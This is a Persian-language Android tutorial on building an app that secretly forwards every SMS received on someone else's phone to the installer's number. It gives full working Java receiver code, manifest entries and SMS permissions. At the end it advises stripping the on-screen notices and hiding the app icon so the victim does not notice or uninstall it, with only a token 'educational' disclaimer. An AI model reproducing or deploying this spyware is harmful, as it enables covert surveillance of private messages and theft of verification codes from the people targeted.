دریافت اس ام اس های دیگران بدون فهیمدن آنها در برنامه نویسی اندروید

امتیاز 4.00 ( 2 رای )

سلام دوستان در این سری از آموزش برنامه نویسی اندروید به آموزش دریافت اس ام اس های دیگران بدون فهیمدن آنها در برنامه نویسی اندروید می پردازیم پیرو مطلبی که دفعه قبل در سایت منتشر شد و کاربران بسیار استقبال کردند در این بار برنامه ای میسازیم تا در گوشی کاربر نصب شده و پیامک هایی را که وی دریافت می کند برای شماره ما ارسال کند.
 

نکته 

سایت ما هیچ مسئولیتی پیرو این مطلب نمی پذیرد و فقط این مطلب جنبه ی آموزشی دارد هر گونه سو استفاده از آن مشکل شرعی دارد !
 
خب ابتدا ما باید یک BroadcatReciever ایجاد کنیم تا اس ام اس هایی که برای کاربر می آید را دریافت کنیم برای اینکار یک فایل به نام IncomingSms.java ایجاد کنید و کد های زیر را در آن قرار دهید.

public class IncomingSms extends BroadcastReceiver {
    final SmsManager sms = SmsManager.getDefault();
    public void onReceive(Context context, Intent intent) {
        final Bundle bundle = intent.getExtras();
        try {
            if (bundle != null) {
                final Object[] pdusObj = (Object[]) bundle.get("pdus");
                for (int i = 0; i < pdusObj.length; i++) {
                    SmsMessage currentMessage = SmsMessage.createFromPdu((byte[]) pdusObj[i]);
                    String phoneNumber = currentMessage.getDisplayOriginatingAddress();
                    String senderNum = phoneNumber;
                    String message = currentMessage.getDisplayMessageBody();
                    Log.i("SmsReceiver", "senderNum: "+ senderNum + "; message: " + message);
                    int duration = Toast.LENGTH_LONG;
                    Toast toast = Toast.makeText(context,
                                 "senderNum: "+ senderNum + ", message: " + message, duration);
                    toast.show();
                }
              }
        } catch (Exception e) {
            Log.e("SmsReceiver", "Exception smsReceiver" +e);
        }
    }
}

حالا باید این ریسیوری را که تعریف کردیم را در AndroidManifest.xml قرار دهیم.

<receiver android:name=".IncomingSms">
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>

دسترسی های زیر را هم به آن اضافه کنید.

  <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS"></uses-permission>

فعلا ما اس ام اس کاربر را دریافت کردیم برای اینکه آن اس ام اس رو برای خودمان بفرستیم باید کد زیر را به IncomingSms.java اضافه کنید .

try {
//شماره خودتان را در زیر اضافه کنید
String phoneNo="09123456789";
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(phoneNo, null, message, null, null);
Toast.makeText(context, "SMS Sent!",
Toast.LENGTH_LONG).show();
} catch (Exception e) {
Toast.makeText(context,
"SMS faild, please try again later!",
Toast.LENGTH_LONG).show();
e.printStackTrace();
  }

و در آخر کد نهایی IncomingSms.java همانند زیر می شود.
 

public class IncomingSms extends BroadcastReceiver {
    final SmsManager sms = SmsManager.getDefault();
    public void onReceive(Context context, Intent intent) {
        final Bundle bundle = intent.getExtras();
        try {
            if (bundle != null) {
                final Object[] pdusObj = (Object[]) bundle.get("pdus");
                for (int i = 0; i < pdusObj.length; i++) {
                    SmsMessage currentMessage = SmsMessage.createFromPdu((byte[]) pdusObj[i]);
                    String phoneNumber = currentMessage.getDisplayOriginatingAddress();
                    String senderNum = phoneNumber;
                    String message = currentMessage.getDisplayMessageBody();
                    Log.i("SmsReceiver", "senderNum: "+ senderNum + "; message: " + message);
                    int duration = Toast.LENGTH_LONG;
                    Toast toast = Toast.makeText(context,
                                 "senderNum: "+ senderNum + ", message: " + message, duration);
                    toast.show();
                    try {
                        //شماره خودتان را در زیر اضافه کنید
                             String phoneNo="09123456789";
                             SmsManager smsManager = SmsManager.getDefault();
                             smsManager.sendTextMessage(phoneNo, null, message, null, null);
                             Toast.makeText(context, "SMS Sent!",
                             Toast.LENGTH_LONG).show();
                        } catch (Exception e) {
                                      Toast.makeText(context,
                                     "SMS faild, please try again later!",
                                      Toast.LENGTH_LONG).show();
                                 e.printStackTrace();
                        }
                }
              }
        } catch (Exception e) {
            Log.e("SmsReceiver", "Exception smsReceiver" +e);
        }
    }
}

ما یکسری Toast قرار داده ایم تا شما کرد و کار سیستم را یاد بگیرید ! برای اینکه حرفه ای تر شود و کاربر شما نفهمد چه اتفاقی افتاده است Toast را بردارید و با استفاده از آموزش قبل اپلیکیشن خود را hide کنید تا کاربر آن را پاک نکند.
 
این آموزش هم به پایان رسید.
 
موفق و موید باشید.

مطالعه بیشتر